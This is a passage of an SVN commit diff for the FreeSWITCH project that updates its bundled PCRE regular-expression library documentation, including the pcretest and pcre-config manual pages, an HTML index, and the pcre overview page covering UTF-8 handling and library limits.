+  /^abc/m&#60;crlf&#62;
+</pre>
+Details of the meanings of these PCRE options are given in the
 <a href="pcreapi.html"><b>pcreapi</b></a>
 documentation.
 </P>
@@ -220,6 +266,14 @@
 multiple copies of the same substring.
 </P>
 <P>
+The <b>/B</b> modifier is a debugging feature. It requests that <b>pcretest</b>
+output a representation of the compiled byte code after compilation. Normally
+this information contains length and offset values; however, if <b>/Z</b> is
+also present, this data is replaced by spaces. This is a special feature for
+use in the automatic test scripts; it ensures that the same output is generated
+for different internal link sizes.
+</P>
+<P>
 The <b>/L</b> modifier must be followed directly by the name of a locale, for
 example,
 <pre>
@@ -238,10 +292,8 @@
 pattern. If the pattern is studied, the results of that are also output.
 </P>
 <P>
-The <b>/D</b> modifier is a PCRE debugging feature, which also assumes <b>/I</b>.
-It causes the internal form of compiled regular expressions to be output after
-compilation. If the pattern was studied, the information returned is also
-output.
+The <b>/D</b> modifier is a PCRE debugging feature, and is equivalent to
+<b>/BI</b>, that is, both the <b>/B</b> and the <b>/I</b> modifiers.
 </P>
 <P>
 The <b>/F</b> modifier causes <b>pcretest</b> to flip the byte order of the
@@ -289,15 +341,15 @@
 expressions, you probably don't need any of these. The following escapes are
 recognized:
 <pre>
-  \a         alarm (= BEL)
-  \b         backspace
-  \e         escape
-  \f         formfeed
-  \n         newline
+  \a         alarm (BEL, \x07)
+  \b         backspace (\x08)
+  \e         escape (\x27)
+  \f         formfeed (\x0c)
+  \n         newline (\x0a)
   \qdd       set the PCRE_MATCH_LIMIT limit to dd (any number of digits)
-  \r         carriage return
-  \t         tab
-  \v         vertical tab
+  \r         carriage return (\x0d)
+  \t         tab (\x09)
+  \v         vertical tab (\x0b)
   \nnn       octal character (up to 3 octal digits)
   \xhh       hexadecimal character (up to 2 hex digits)
   \x{hh...}  hexadecimal character, any number of digits in UTF-8 mode
@@ -331,13 +383,19 @@
   \&#60;cr&#62;      pass the PCRE_NEWLINE_CR option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>
   \&#60;lf&#62;      pass the PCRE_NEWLINE_LF option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>
   \&#60;crlf&#62;    pass the PCRE_NEWLINE_CRLF option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>
+  \&#60;anycrlf&#62; pass the PCRE_NEWLINE_ANYCRLF option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>
+  \&#60;any&#62;     pass the PCRE_NEWLINE_ANY option to <b>pcre_exec()</b> or <b>pcre_dfa_exec()</b>
 </pre>
-The escapes that specify line endings are literal strings, exactly as shown.
-A backslash followed by anything else just escapes the anything else. If the
-very last character is a backslash, it is ignored. This gives a way of passing
-an empty line as data, since a real empty line terminates the data input.
+The escapes that specify line ending sequences are literal strings, exactly as
+shown. No more than one newline setting should be present in any data line.
 </P>
 <P>
+A backslash followed by anything else just escapes the anything else. If
+the very last character is a backslash, it is ignored. This gives a way of
+passing an empty line as data, since a real empty line terminates the data
+input.
+</P>
+<P>
 If \M is present, <b>pcretest</b> calls <b>pcre_exec()</b> several times, with
 different values in the <i>match_limit</i> and <i>match_limit_recursion</i>
 fields of the <b>pcre_extra</b> data structure, until it finds the minimum
@@ -365,7 +423,10 @@
 The use of \x{hh...} to represent UTF-8 characters is not dependent on the use
 of the <b>/8</b> modifier on the pattern. It is recognized always. There may be
 any number of hexadecimal digits inside the braces. The result is from one to
-six bytes, encoded according to the UTF-8 rules.
+six bytes, encoded according to the original UTF-8 rules of RFC 2279. This
+allows for values in the range 0 to 0x7FFFFFFF. Note that not all of those are
+valid Unicode code points, or indeed valid UTF-8 characters according to the
+later rules in RFC 3629.
 </P>
 <br><a name="SEC6" href="#TOC1">THE ALTERNATIVE MATCHING FUNCTION</a><br>
 <P>
@@ -398,7 +459,7 @@
 of an interactive <b>pcretest</b> run.
 <pre>
   $ pcretest
-  PCRE version 5.00 07-Sep-2004
+  PCRE version 7.0 30-Nov-2006
 
     re&#62; /^abc(\d+)/
   data&#62; abc123
@@ -407,11 +468,26 @@
   data&#62; xyz
   No match
 </pre>
+Note that unset capturing substrings that are not followed by one that is set
+are not returned by <b>pcre_exec()</b>, and are not shown by <b>pcretest</b>. In
+the following example, there are two capturing substrings, but when the first
+data line is matched, the second, unset substring is not shown. An "internal"
+unset substring is shown as "&#60;unset&#62;", as for the second data line.
+<pre>
+    re&#62; /(a)|(b)/
+  data&#62; a
+   0: a
+   1: a
+  data&#62; b
+   0: b
+   1: &#60;unset&#62;
+   2: b
+</pre>
 If the strings contain any non-printing characters, they are output as \0x
 escapes, or as \x{...} escapes if the <b>/8</b> modifier was present on the
-pattern. If the pattern has the <b>/+</b> modifier, the output for substring 0
-is followed by the the rest of the subject string, identified by "0+" like
-this:
+pattern. See below for the definition of non-printing characters. If the
+pattern has the <b>/+</b> modifier, the output for substring 0 is followed by
+the the rest of the subject string, identified by "0+" like this:
 <pre>
     re&#62; /cat/+
   data&#62; cataract
@@ -441,10 +517,10 @@
 parentheses after each string for <b>\C</b> and <b>\G</b>.
 </P>
 <P>
-Note that while patterns can be continued over several lines (a plain "&#62;"
+Note that whereas patterns can be continued over several lines (a plain "&#62;"
 prompt is used for continuations), data lines may not. However newlines can be
-included in data by means of the \n escape (or \r or \r\n for those newline
-settings).
+included in data by means of the \n escape (or \r, \r\n, etc., depending on
+the newline sequence setting).
 </P>
 <br><a name="SEC8" href="#TOC1">OUTPUT FROM THE ALTERNATIVE MATCHING FUNCTION</a><br>
 <P>
@@ -463,7 +539,7 @@
 longest matching string is always given first (and numbered zero).
 </P>
 <P>
-If \fB/g\P is present on the pattern, the search for further matches resumes
+If <b>/g</b> is present on the pattern, the search for further matches resumes
 at the end of the longest match. For example:
 <pre>
     re&#62; /(tang|tangerine|tan)/g
@@ -537,8 +613,20 @@
 <a href="pcrecallout.html"><b>pcrecallout</b></a>
 documentation.
 </P>
-<br><a name="SEC11" href="#TOC1">SAVING AND RELOADING COMPILED PATTERNS</a><br>
+<br><a name="SEC11" href="#TOC1">NON-PRINTING CHARACTERS</a><br>
 <P>
+When <b>pcretest</b> is outputting text in the compiled version of a pattern,
+bytes other than 32-126 are always treated as non-printing characters are are
+therefore shown as hex escapes.
+</P>
+<P>
+When <b>pcretest</b> is outputting text that is a matched part of a subject
+string, it behaves in the same way, unless a different locale has been set for
+the pattern (using the <b>/L</b> modifier). In this case, the <b>isprint()</b>
+function to distinguish printing and non-printing characters.
+</P>
+<br><a name="SEC12" href="#TOC1">SAVING AND RELOADING COMPILED PATTERNS</a><br>
+<P>
 The facilities described in this section are not available when the POSIX
 inteface to PCRE is being used, that is, when the <b>/P</b> pattern modifier is
 specified.
@@ -599,18 +687,26 @@
 Finally, if you attempt to load a file that is not in the correct format, the
 result is undefined.
 </P>
-<br><a name="SEC12" href="#TOC1">AUTHOR</a><br>
+<br><a name="SEC13" href="#TOC1">SEE ALSO</a><br>
 <P>
+<b>pcre</b>(3), <b>pcreapi</b>(3), <b>pcrecallout</b>(3), <b>pcrematching</b>(3),
+<b>pcrepartial</b>(d), <b>pcrepattern</b>(3), <b>pcreprecompile</b>(3).
+</P>
+<br><a name="SEC14" href="#TOC1">AUTHOR</a><br>
+<P>
 Philip Hazel
 <br>
-University Computing Service,
+University Computing Service
 <br>
-Cambridge CB2 3QG, England.
+Cambridge CB2 3QH, England.
+<br>
 </P>
+<br><a name="SEC15" href="#TOC1">REVISION</a><br>
 <P>
-Last updated: 29 June 2006
+Last updated: 10 March 2009
 <br>
-Copyright &copy; 1997-2006 University of Cambridge.
+Copyright &copy; 1997-2009 University of Cambridge.
+<br>
 <p>
 Return to the <a href="index.html">PCRE index page</a>.
 </p>

Copied: freeswitch/branches/seven/libs/pcre/doc/index.html.src (from rev 14471, freeswitch/trunk/libs/pcre/doc/index.html.src) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/index.html.src	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/index.html.src	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,140 @@
+<html>
+<!-- This is a manually maintained file that is the root of the HTML version of 
+     the PCRE documentation. When the HTML documents are built from the man 
+     page versions, the entire doc/html directory is emptied, this file is then 
+     copied into doc/html/index.html, and the remaining files therein are 
+     created by the 132html script.
+-->      
+<head>
+<title>PCRE specification</title>
+</head>
+<body bgcolor="#FFFFFF" text="#00005A" link="#0066FF" alink="#3399FF" vlink="#2222BB">
+<h1>Perl-compatible Regular Expressions (PCRE)</h1>
+<p>
+The HTML documentation for PCRE comprises the following pages:
+</p>
+
+<table>
+<tr><td><a href="pcre.html">pcre</a></td>
+    <td>&nbsp;&nbsp;Introductory page</td></tr>
+
+<tr><td><a href="pcre-config.html">pcre-config</a></td>
+    <td>&nbsp;&nbsp;Information about the installation configuration</td></tr>
+
+<tr><td><a href="pcreapi.html">pcreapi</a></td>
+    <td>&nbsp;&nbsp;PCRE's native API</td></tr>
+
+<tr><td><a href="pcrebuild.html">pcrebuild</a></td>
+    <td>&nbsp;&nbsp;Options for building PCRE</td></tr>
+
+<tr><td><a href="pcrecallout.html">pcrecallout</a></td>
+    <td>&nbsp;&nbsp;The <i>callout</i> facility</td></tr>
+
+<tr><td><a href="pcrecompat.html">pcrecompat</a></td>
+    <td>&nbsp;&nbsp;Compability with Perl</td></tr>
+
+<tr><td><a href="pcrecpp.html">pcrecpp</a></td>
+    <td>&nbsp;&nbsp;The C++ wrapper for the PCRE library</td></tr>
+
+<tr><td><a href="pcregrep.html">pcregrep</a></td>
+    <td>&nbsp;&nbsp;The <b>pcregrep</b> command</td></tr>
+
+<tr><td><a href="pcrematching.html">pcrematching</a></td>
+    <td>&nbsp;&nbsp;Discussion of the two matching algorithms</td></tr>
+
+<tr><td><a href="pcrepartial.html">pcrepartial</a></td>
+    <td>&nbsp;&nbsp;Using PCRE for partial matching</td></tr>
+
+<tr><td><a href="pcrepattern.html">pcrepattern</a></td>
+    <td>&nbsp;&nbsp;Specification of the regular expressions supported by PCRE</td></tr>
+
+<tr><td><a href="pcreperform.html">pcreperform</a></td>
+    <td>&nbsp;&nbsp;Some comments on performance</td></tr>
+
+<tr><td><a href="pcreposix.html">pcreposix</a></td>
+    <td>&nbsp;&nbsp;The POSIX API to the PCRE library</td></tr>
+
+<tr><td><a href="pcreprecompile.html">pcreprecompile</a></td>
+    <td>&nbsp;&nbsp;How to save and re-use compiled patterns</td></tr>
+
+<tr><td><a href="pcresample.html">pcresample</a></td>
+    <td>&nbsp;&nbsp;Description of the sample program</td></tr>
+
+<tr><td><a href="pcrestack.html">pcrestack</a></td>
+    <td>&nbsp;&nbsp;Discussion of PCRE's stack usage</td></tr>
+
+<tr><td><a href="pcresyntax.html">pcresyntax</a></td>
+    <td>&nbsp;&nbsp;Syntax quick-reference summary</td></tr>
+
+<tr><td><a href="pcretest.html">pcretest</a></td>
+    <td>&nbsp;&nbsp;The <b>pcretest</b> command for testing PCRE</td></tr>
+</table>
+
+<p>
+There are also individual pages that summarize the interface for each function 
+in the library:
+</p>
+
+<table>    
+
+<tr><td><a href="pcre_compile.html">pcre_compile</a></td>
+    <td>&nbsp;&nbsp;Compile a regular expression</td></tr>
+
+<tr><td><a href="pcre_compile2.html">pcre_compile2</a></td>
+    <td>&nbsp;&nbsp;Compile a regular expression (alternate interface)</td></tr>
+
+<tr><td><a href="pcre_config.html">pcre_config</a></td>
+    <td>&nbsp;&nbsp;Show build-time configuration options</td></tr>
+
+<tr><td><a href="pcre_copy_named_substring.html">pcre_copy_named_substring</a></td>
+    <td>&nbsp;&nbsp;Extract named substring into given buffer</td></tr>
+
+<tr><td><a href="pcre_copy_substring.html">pcre_copy_substring</a></td>
+    <td>&nbsp;&nbsp;Extract numbered substring into given buffer</td></tr>
+
+<tr><td><a href="pcre_dfa_exec.html">pcre_dfa_exec</a></td>
+    <td>&nbsp;&nbsp;Match a compiled pattern to a subject string
+    (DFA algorithm; <i>not</i> Perl compatible)</td></tr>
+
+<tr><td><a href="pcre_exec.html">pcre_exec</a></td>
+    <td>&nbsp;&nbsp;Match a compiled pattern to a subject string
+    (Perl compatible)</td></tr>
+
+<tr><td><a href="pcre_free_substring.html">pcre_free_substring</a></td>
+    <td>&nbsp;&nbsp;Free extracted substring</td></tr>
+
+<tr><td><a href="pcre_free_substring_list.html">pcre_free_substring_list</a></td>
+    <td>&nbsp;&nbsp;Free list of extracted substrings</td></tr>
+
+<tr><td><a href="pcre_fullinfo.html">pcre_fullinfo</a></td>
+    <td>&nbsp;&nbsp;Extract information about a pattern</td></tr>
+
+<tr><td><a href="pcre_get_named_substring.html">pcre_get_named_substring</a></td>
+    <td>&nbsp;&nbsp;Extract named substring into new memory</td></tr>
+
+<tr><td><a href="pcre_get_stringnumber.html">pcre_get_stringnumber</a></td>
+    <td>&nbsp;&nbsp;Convert captured string name to number</td></tr>
+
+<tr><td><a href="pcre_get_substring.html">pcre_get_substring</a></td>
+    <td>&nbsp;&nbsp;Extract numbered substring into new memory</td></tr>
+
+<tr><td><a href="pcre_get_substring_list.html">pcre_get_substring_list</a></td>
+    <td>&nbsp;&nbsp;Extract all substrings into new memory</td></tr>
+
+<tr><td><a href="pcre_info.html">pcre_info</a></td>
+    <td>&nbsp;&nbsp;Obsolete information extraction function</td></tr>
+
+<tr><td><a href="pcre_maketables.html">pcre_maketables</a></td>
+    <td>&nbsp;&nbsp;Build character tables in current locale</td></tr>
+    
+<tr><td><a href="pcre_refcount.html">pcre_refcount</a></td>
+    <td>&nbsp;&nbsp;Maintain reference count in compiled pattern</td></tr>
+
+<tr><td><a href="pcre_study.html">pcre_study</a></td>
+    <td>&nbsp;&nbsp;Study a compiled pattern</td></tr>
+
+<tr><td><a href="pcre_version.html">pcre_version</a></td>
+    <td>&nbsp;&nbsp;Return PCRE version and release date</td></tr>
+</table>
+
+</html>

Copied: freeswitch/branches/seven/libs/pcre/doc/pcre-config.1 (from rev 14471, freeswitch/trunk/libs/pcre/doc/pcre-config.1) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre-config.1	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre-config.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,73 @@
+.TH PCRE-CONFIG 1
+.SH NAME
+pcre-config - program to return PCRE configuration
+.SH SYNOPSIS
+.rs
+.sp
+.B pcre-config  [--prefix] [--exec-prefix] [--version] [--libs]
+.ti +5n
+.B              [--libs-posix] [--cflags] [--cflags-posix]
+.
+.
+.SH DESCRIPTION
+.rs
+.sp
+\fBpcre-config\fP returns the configuration of the installed PCRE
+libraries and the options required to compile a program to use them.
+.
+.
+.SH OPTIONS
+.rs
+.TP 10
+\fB--prefix\fP
+Writes the directory prefix used in the PCRE installation for architecture
+independent files (\fI/usr\fP on many systems, \fI/usr/local\fP on some
+systems) to the standard output.
+.TP 10
+\fB--exec-prefix\fP
+Writes the directory prefix used in the PCRE installation for architecture
+dependent files (normally the same as \fB--prefix\fP) to the standard output.
+.TP 10
+\fB--version\fP
+Writes the version number of the installed PCRE libraries to the standard
+output.
+.TP 10
+\fB--libs\fP
+Writes to the standard output the command line options required to link
+with PCRE (\fB-lpcre\fP on many systems).
+.TP 10
+\fB--libs-posix\fP
+Writes to the standard output the command line options required to link with
+the PCRE posix emulation library (\fB-lpcreposix\fP \fB-lpcre\fP on many
+systems).
+.TP 10
+\fB--cflags\fP
+Writes to the standard output the command line options required to compile
+files that use PCRE (this may include some \fB-I\fP options, but is blank on
+many systems).
+.TP 10
+\fB--cflags-posix\fP
+Writes to the standard output the command line options required to compile
+files that use the PCRE posix emulation library (this may include some \fB-I\fP
+options, but is blank on many systems).
+.
+.
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcre(3)\fP
+.
+.
+.SH AUTHOR
+.rs
+.sp
+This manual page was originally written by Mark Baker for the Debian GNU/Linux
+system. It has been slightly revised as a generic PCRE man page.
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 18 April 2007
+.fi

Copied: freeswitch/branches/seven/libs/pcre/doc/pcre-config.txt (from rev 14471, freeswitch/trunk/libs/pcre/doc/pcre-config.txt) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre-config.txt	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre-config.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,67 @@
+PCRE-CONFIG(1)                                                  PCRE-CONFIG(1)
+
+
+
+NAME
+       pcre-config - program to return PCRE configuration
+
+SYNOPSIS
+
+       pcre-config [--prefix] [--exec-prefix] [--version] [--libs]
+            [--libs-posix] [--cflags] [--cflags-posix]
+
+
+DESCRIPTION
+
+       pcre-config  returns  the configuration of the installed PCRE libraries
+       and the options required to compile a program to use them.
+
+
+OPTIONS
+
+       --prefix  Writes the directory prefix used in the PCRE installation for
+                 architecture   independent   files  (/usr  on  many  systems,
+                 /usr/local on some systems) to the standard output.
+
+       --exec-prefix
+                 Writes the directory prefix used in the PCRE installation for
+                 architecture  dependent files (normally the same as --prefix)
+                 to the standard output.
+
+       --version Writes the version number of the installed PCRE libraries  to
+                 the standard output.
+
+       --libs    Writes  to  the  standard  output  the  command  line options
+                 required to link with PCRE (-lpcre on many systems).
+
+       --libs-posix
+                 Writes to  the  standard  output  the  command  line  options
+                 required  to  link  with  the  PCRE  posix  emulation library
+                 (-lpcreposix -lpcre on many systems).
+
+       --cflags  Writes to  the  standard  output  the  command  line  options
+                 required  to  compile  files  that use PCRE (this may include
+                 some -I options, but is blank on many systems).
+
+       --cflags-posix
+                 Writes to  the  standard  output  the  command  line  options
+                 required  to  compile files that use the PCRE posix emulation
+                 library (this may include some -I options, but  is  blank  on
+                 many systems).
+
+
+SEE ALSO
+
+       pcre(3)
+
+
+AUTHOR
+
+       This  manual  page  was originally written by Mark Baker for the Debian
+       GNU/Linux system. It has been slightly revised as a  generic  PCRE  man
+       page.
+
+
+REVISION
+
+       Last updated: 18 April 2007

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -6,12 +6,18 @@
 .sp
 The PCRE library is a set of functions that implement regular expression
 pattern matching using the same syntax and semantics as Perl, with just a few
-differences. The current implementation of PCRE (release 6.x) corresponds
-approximately with Perl 5.8, including support for UTF-8 encoded strings and
-Unicode general category properties. However, this support has to be explicitly
-enabled; it is not the default.
+differences. Certain features that appeared in Python and PCRE before they
+appeared in Perl are also available using the Python syntax. There is also some
+support for certain .NET and Oniguruma syntax items, and there is an option for
+requesting some minor changes that give better JavaScript compatibility.
 .P
-In addition to the Perl-compatible matching function, PCRE also contains an
+The current implementation of PCRE (release 7.x) corresponds approximately with
+Perl 5.10, including support for UTF-8 encoded strings and Unicode general
+category properties. However, UTF-8 and Unicode support has to be explicitly
+enabled; it is not the default. The Unicode tables correspond to Unicode
+release 5.1.
+.P
+In addition to the Perl-compatible matching function, PCRE contains an
 alternative matching function that matches the same compiled patterns in a
 different way. In certain circumstances, the alternative function has some
 advantages. For a discussion of the two matching algorithms, see the
@@ -43,7 +49,11 @@
 .\" HREF
 \fBpcrecompat\fR
 .\"
-pages.
+pages. There is a syntax summary in the
+.\" HREF
+\fBpcresyntax\fR
+.\"
+page.
 .P
 Some features of PCRE can be included, excluded, or changed when the library is
 built. The
@@ -77,6 +87,7 @@
 follows:
 .sp
   pcre              this document
+  pcre-config       show PCRE installation configuration information
   pcreapi           details of PCRE's native C API
   pcrebuild         options for building PCRE
   pcrecallout       details of the callout feature
@@ -88,6 +99,7 @@
 .\" JOIN
   pcrepattern       syntax and semantics of supported
                       regular expressions
+  pcresyntax        quick syntax reference
   pcreperform       discussion of performance issues
   pcreposix         the POSIX-compatible C API
   pcreprecompile    details of saving and re-using precompiled patterns
@@ -114,18 +126,15 @@
 \fBpcrebuild\fP
 .\"
 documentation for details). In these cases the limit is substantially larger.
-However, the speed of execution will be slower.
+However, the speed of execution is slower.
 .P
-All values in repeating quantifiers must be less than 65536. The maximum
-compiled length of subpattern with an explicit repeat count is 30000 bytes. The
-maximum number of capturing subpatterns is 65535.
+All values in repeating quantifiers must be less than 65536.
 .P
-There is no limit to the number of non-capturing subpatterns, but the maximum
-depth of nesting of all kinds of parenthesized subpattern, including capturing
-subpatterns, assertions, and other types of subpattern, is 200.
+There is no limit to the number of parenthesized subpatterns, but there can be
+no more than 65535 capturing subpatterns.
 .P
-The maximum length of name for a named subpattern is 32, and the maximum number
-of named subpatterns is 10000.
+The maximum length of name for a named subpattern is 32 characters, and the
+maximum number of named subpatterns is 10000.
 .P
 The maximum length of a subject string is the largest positive number that an
 integer variable can hold. However, when using the traditional matching
@@ -137,7 +146,7 @@
 \fBpcrestack\fP
 .\"
 documentation.
-.sp
+.
 .\" HTML <a name="utf8support"></a>
 .
 .
@@ -154,13 +163,14 @@
 .\" HREF
 \fBpcre_compile()\fP
 .\"
-with the PCRE_UTF8 option flag. When you do this, both the pattern and any
-subject strings that are matched against it are treated as UTF-8 strings
-instead of just strings of bytes.
+with the PCRE_UTF8 option flag, or the pattern must start with the sequence
+(*UTF8). When either of these is the case, both the pattern and any subject
+strings that are matched against it are treated as UTF-8 strings instead of
+just strings of bytes.
 .P
 If you compile PCRE with UTF-8 support, but do not use it at run time, the
 library will be a bit bigger, but the additional run time overhead is limited
-to testing the PCRE_UTF8 flag in several places, so should not be very large.
+to testing the PCRE_UTF8 flag occasionally, so should not be very big.
 .P
 If PCRE is built with Unicode character property support (which implies UTF-8
 support), the escape sequences \ep{..}, \eP{..}, and \eX are supported.
@@ -175,46 +185,83 @@
 \ep{L} matches a letter. Its Perl synonym, \ep{Letter}, is not supported.
 Furthermore, in Perl, many properties may optionally be prefixed by "Is", for
 compatibility with Perl 5.6. PCRE does not support this.
+.
+.\" HTML <a name="utf8strings"></a>
+.
+.SS "Validity of UTF-8 strings"
+.rs
+.sp
+When you set the PCRE_UTF8 flag, the strings passed as patterns and subjects
+are (by default) checked for validity on entry to the relevant functions. From
+release 7.3 of PCRE, the check is according the rules of RFC 3629, which are
+themselves derived from the Unicode specification. Earlier releases of PCRE
+followed the rules of RFC 2279, which allows the full range of 31-bit values (0
+to 0x7FFFFFFF). The current check allows only values in the range U+0 to
+U+10FFFF, excluding U+D800 to U+DFFF.
 .P
-The following comments apply when PCRE is running in UTF-8 mode:
+The excluded code points are the "Low Surrogate Area" of Unicode, of which the
+Unicode Standard says this: "The Low Surrogate Area does not contain any
+character assignments, consequently no character code charts or namelists are
+provided for this area. Surrogates are reserved for use with UTF-16 and then
+must be used in pairs." The code points that are encoded by UTF-16 pairs are
+available as independent code points in the UTF-8 encoding. (In other words,
+the whole surrogate thing is a fudge for UTF-16 which unfortunately messes up
+UTF-8.)
 .P
-1. When you set the PCRE_UTF8 flag, the strings passed as patterns and subjects
-are checked for validity on entry to the relevant functions. If an invalid
-UTF-8 string is passed, an error return is given. In some situations, you may
-already know that your strings are valid, and therefore want to skip these
-checks in order to improve performance. If you set the PCRE_NO_UTF8_CHECK flag
-at compile time or at run time, PCRE assumes that the pattern or subject it
-is given (respectively) contains only valid UTF-8 codes. In this case, it does
-not diagnose an invalid UTF-8 string. If you pass an invalid UTF-8 string to
-PCRE when PCRE_NO_UTF8_CHECK is set, the results are undefined. Your program
-may crash.
+If an invalid UTF-8 string is passed to PCRE, an error return
+(PCRE_ERROR_BADUTF8) is given. In some situations, you may already know that
+your strings are valid, and therefore want to skip these checks in order to
+improve performance. If you set the PCRE_NO_UTF8_CHECK flag at compile time or
+at run time, PCRE assumes that the pattern or subject it is given
+(respectively) contains only valid UTF-8 codes. In this case, it does not
+diagnose an invalid UTF-8 string.
 .P
-2. An unbraced hexadecimal escape sequence (such as \exb3) matches a two-byte
+If you pass an invalid UTF-8 string when PCRE_NO_UTF8_CHECK is set, what
+happens depends on why the string is invalid. If the string conforms to the
+"old" definition of UTF-8 (RFC 2279), it is processed as a string of characters
+in the range 0 to 0x7FFFFFFF. In other words, apart from the initial validity
+test, PCRE (when in UTF-8 mode) handles strings according to the more liberal
+rules of RFC 2279. However, if the string does not even conform to RFC 2279,
+the result is undefined. Your program may crash.
+.P
+If you want to process strings of values in the full range 0 to 0x7FFFFFFF,
+encoded in a UTF-8-like manner as per the old RFC, you can set
+PCRE_NO_UTF8_CHECK to bypass the more restrictive test. However, in this
+situation, you will have to apply your own validity check.
+.
+.SS "General comments about UTF-8 mode"
+.rs
+.sp
+1. An unbraced hexadecimal escape sequence (such as \exb3) matches a two-byte
 UTF-8 character if the value is greater than 127.
 .P
-3. Octal numbers up to \e777 are recognized, and match two-byte UTF-8
+2. Octal numbers up to \e777 are recognized, and match two-byte UTF-8
 characters for values greater than \e177.
 .P
-4. Repeat quantifiers apply to complete UTF-8 characters, not to individual
+3. Repeat quantifiers apply to complete UTF-8 characters, not to individual
 bytes, for example: \ex{100}{3}.
 .P
-5. The dot metacharacter matches one UTF-8 character instead of a single byte.
+4. The dot metacharacter matches one UTF-8 character instead of a single byte.
 .P
-6. The escape sequence \eC can be used to match a single byte in UTF-8 mode,
+5. The escape sequence \eC can be used to match a single byte in UTF-8 mode,
 but its use can lead to some strange effects. This facility is not available in
 the alternative matching function, \fBpcre_dfa_exec()\fP.
 .P
-7. The character escapes \eb, \eB, \ed, \eD, \es, \eS, \ew, and \eW correctly
+6. The character escapes \eb, \eB, \ed, \eD, \es, \eS, \ew, and \eW correctly
 test characters of any code value, but the characters that PCRE recognizes as
 digits, spaces, or word characters remain the same set as before, all with
 values less than 256. This remains true even when PCRE includes Unicode
 property support, because to do otherwise would slow down PCRE in many common
 cases. If you really want to test for a wider sense of, say, "digit", you
-must use Unicode property tests such as \ep{Nd}.
+must use Unicode property tests such as \ep{Nd}. Note that this also applies to
+\eb, because it is defined in terms of \ew and \eW.
 .P
-8. Similarly, characters that match the POSIX named character classes are all
+7. Similarly, characters that match the POSIX named character classes are all
 low-valued characters.
 .P
+8. However, the Perl 5.10 horizontal and vertical whitespace matching escapes
+(\eh, \eH, \ev, and \eV) do match all the appropriate Unicode characters.
+.P
 9. Case-insensitive matching applies only to characters whose values are less
 than 128, unless PCRE is built with Unicode property support. Even when Unicode
 property support is available, PCRE still uses its own character tables when
@@ -225,20 +272,25 @@
 letter's cases. There are a small number of many-to-one mappings in Unicode;
 these are not supported by PCRE.
 .
+.
 .SH AUTHOR
 .rs
 .sp
+.nf
 Philip Hazel
-.br
-University Computing Service,
-.br
-Cambridge CB2 3QG, England.
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
 .P
 Putting an actual email address here seems to have been a spam magnet, so I've
-taken it away. If you want to email me, use my initial and surname, separated
-by a dot, at the domain ucs.cam.ac.uk.
+taken it away. If you want to email me, use my two initials, followed by the
+two digits 10, at the domain cam.ac.uk.
+.
+.
+.SH REVISION
+.rs
 .sp
-.in 0
-Last updated: 05 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+.nf
+Last updated: 11 April 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcre.txt (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcre.txt	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcre.txt	2009-08-09 18:53:22 UTC (rev 14472)
@@ -18,29 +18,37 @@
 
        The  PCRE  library is a set of functions that implement regular expres-
        sion pattern matching using the same syntax and semantics as Perl, with
-       just  a  few  differences.  The current implementation of PCRE (release
-       6.x) corresponds approximately with Perl  5.8,  including  support  for
-       UTF-8 encoded strings and Unicode general category properties. However,
-       this support has to be explicitly enabled; it is not the default.
+       just  a  few  differences. Certain features that appeared in Python and
+       PCRE before they appeared in Perl are also available using  the  Python
+       syntax.  There is also some support for certain .NET and Oniguruma syn-
+       tax items, and there is an option for  requesting  some  minor  changes
+       that give better JavaScript compatibility.
 
-       In addition to the Perl-compatible matching function,  PCRE  also  con-
-       tains  an  alternative matching function that matches the same compiled
-       patterns in a different way. In certain circumstances, the  alternative
-       function  has  some  advantages.  For  a discussion of the two matching
-       algorithms, see the pcrematching page.
+       The  current  implementation of PCRE (release 7.x) corresponds approxi-
+       mately with Perl 5.10, including support for UTF-8 encoded strings  and
+       Unicode general category properties. However, UTF-8 and Unicode support
+       has to be explicitly enabled; it is not the default. The Unicode tables
+       correspond to Unicode release 5.1.
 
-       PCRE is written in C and released as a C library. A  number  of  people
-       have  written  wrappers and interfaces of various kinds. In particular,
-       Google Inc.  have provided a comprehensive C++  wrapper.  This  is  now
+       In  addition to the Perl-compatible matching function, PCRE contains an
+       alternative matching function that matches the same  compiled  patterns
+       in  a different way. In certain circumstances, the alternative function
+       has some advantages. For a discussion of the two  matching  algorithms,
+       see the pcrematching page.
+
+       PCRE  is  written  in C and released as a C library. A number of people
+       have written wrappers and interfaces of various kinds.  In  particular,
+       Google  Inc.   have  provided  a comprehensive C++ wrapper. This is now
        included as part of the PCRE distribution. The pcrecpp page has details
-       of this interface. Other people's contributions can  be  found  in  the
+       of  this  interface.  Other  people's contributions can be found in the
        Contrib directory at the primary FTP site, which is:
 
        ftp://ftp.csx.cam.ac.uk/pub/software/programming/pcre
 
-       Details  of  exactly which Perl regular expression features are and are
+       Details of exactly which Perl regular expression features are  and  are
        not supported by PCRE are given in separate documents. See the pcrepat-
-       tern and pcrecompat pages.
+       tern and pcrecompat pages. There is a syntax summary in the  pcresyntax
+       page.
 
        Some  features  of  PCRE can be included, excluded, or changed when the
